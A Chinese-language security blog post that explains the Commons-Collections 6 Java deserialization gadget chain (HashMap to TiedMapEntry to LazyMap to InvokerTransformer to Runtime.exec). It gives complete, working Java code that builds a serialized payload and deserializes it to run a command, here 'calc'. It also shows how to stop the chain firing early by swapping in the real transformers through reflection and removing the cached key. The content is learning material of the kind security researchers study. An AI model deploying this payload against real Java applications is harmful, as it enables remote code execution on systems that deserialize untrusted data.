Common-Collections 6

Common-Collections 6

在CC1中,我们谈到了java 8u71以后,AnnotationInvocationHandler#readObject 发生了变化,导致原有的链无法利用了,那在高版本的java中,如何改造这条利用链呢?关键在于如何调用LazyMap#get,我们来看一下通用性较高的CC6是如何构造的

/*
Gadget chain:
 java.io.ObjectInputStream.readObject()
    java.util.HashMap.readObject()
         java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()
 */

TiedMapEntry

我们找到了TiedMapEntry这个类,在其getValue方法中,可调用get方法

image-20220925171600699

⽽getValue⽅法可由其hashCode⽅法调⽤

image-20220925171733005

那接下来就是寻找哪里可以触发 TiedMapEntry#hashCode了,这里有两种调用方式,ysoserial中,是利⽤java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key),最后到 TiedMapEntry#hashCode() ;

而我们要利用的是java.util.HashMap#readObject到 HashMap#hash() ,从而触发TiedMapEntry#hashCode(),比原版简洁。

image-20220925172200304

java.util.HashMap#readObject调用了hash(key),从而调用key.hashCode(),我们只需要 让key等于TiedMapEntry即可

image-20220925172313573

构造代码

根据前面的信息和CC1所学知识,我们先初步构造代码

package CCdemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"})};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"value");

        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

经过调试发现存在两个问题,第一,expMap.put(tiedMapEntry,"value")会先执行hash函数,导致我们构造的链子提前执行,虽然会弹出计算器,不过这是由put函数调用执行的,这显然不是我们想要的结果

image-20220926174855635

那如何解决呢?可以参照urldns那条链子的方法,先设置一个假的对象,使其传入LzayMap,到序列化之前,再使用反射将其更改为我们构造的对象

//将faketransformers设置入LazyMap中
Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
//使用反射将真正的transformers数组设置进来
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

更改代码后,再次尝试执行,没反应,这就需要解决接下来的问题了

image-20220926181342890

第二个问题是,经过put操作后,会使其获得key,从而导致LazyMap的get方法中无法调用transform方法,map.containsKey(key)结果为ture

image-20220926174533911

那如何解决呢?很简单,将其remove即可

lazyMap.remove("6");

完整demo如下

package CCdemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),
                new ConstantTransformer(1)};
        Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
        Transformer chainedTransformer = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
        Map expMap = new HashMap();
        expMap.put(tiedMapEntry,"value");
        lazyMap.remove("6");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);
        //模拟序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        //模拟反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

运行,成功弹出计算器

image-20220926182012279

总结

这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制,所以通用性较强

参考:java安全漫谈-phith0n

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇